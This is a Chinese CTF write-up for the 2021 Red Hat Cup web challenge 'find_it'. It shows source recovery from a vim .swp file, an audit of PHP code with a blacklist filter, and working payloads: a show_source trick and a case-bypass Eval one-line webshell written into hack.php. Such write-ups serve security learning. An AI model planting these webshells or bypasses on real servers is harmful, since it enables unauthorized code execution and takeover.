• CTFHub_2021第四届红帽杯网络安全大赛Webfind_it(.swp备份文件源码泄露、代码审计、正则表达式绕过)


    访问robots.txt发现提示 1ndexx.php

    直接访问不到,需要访问vim的保存的缓冲类型文件.swp,访问之后获取到源码。

    /.1ndexx.php.swp
    

    审计源码

    <?php
    
    #Really easy...
    
    $file=fopen("flag.php","r") or die("Unable 2 open!");
    
    $I_know_you_wanna_but_i_will_not_give_you_hhh = fread($file,filesize("flag.php"));
    
    
    $hack=fopen("hack.php","w") or die("Unable 2 open");
    
    $a=$_GET['code'];         //1.获取到code参数值
    
    if(preg_match('/system|eval|exec|base|compress|chr|ord|str|replace|pack|assert|preg|replace|create|function|call|\~|\^|\`|flag|cat|tac|more|tail|echo|require|include|proc|open|read|shell|file|put|get|contents|dir|link|dl|var|dump/',$a)){
        die("you die");
    }                        //2.参数值内容过滤:正则匹配危险函数
    if(strlen($a)>33){
        die("nonono.");
    }                        //3.参数值长度过滤:字符串长度不能超过33
    fwrite($hack,$a);        //4.将参数值写入hack.php
    fwrite($hack,$I_know_you_wanna_but_i_will_not_give_you_hhh); //5.将flag.php内容写入hack.php
    
    fclose($file);
    fclose($hack);
    ?>

    测试:输出phpinfo(),phpinfo不是过滤函数,传入之后访问hack.php可利用成功

    /index.php?code=<?php phpinfo(); ?>
    

    利用方式1:利用show_source高亮代码。审计源码时注意到,源码已经将flag.php内容写入hack.php,这样只需要高亮自己就可以查看源码得到flag了。(由于写入的是源码,因此我们直接访问hack.php无法看到。)

    /index.php?code=<?php show_source(__FILE__);?>
    

    利用方式2:大小写过滤,利用Eval绕过eval限制,成功获取webshell。

    写入一句话木马

    /index.php?code=<?php @Eval($_POST['aaa']);?>
    

    蚁剑连接

    拿到flag

  • 相关阅读:
    CodeFirst从零搭建ASP.NETCore2.0
    ASP.NetCore2.0概览
    C#图片处理(转zhjzwl/archive)
    数据库内部视图,存储过程的使用
    《用户体验要素》学习笔记 —— 初识五层要素
    《用户体验要素》学习笔记 —— 用户体验重要性
    To B产品,业务方全程蒙蔽怎么搞?
    产品经理需要的技能,我有吗?
    拼多多为何没有购物车功能
    章节十四、3-执行JavaScript命令
  • 原文地址:https://www.cnblogs.com/zhengna/p/15903497.html
Copyright © 2020-2023  润新知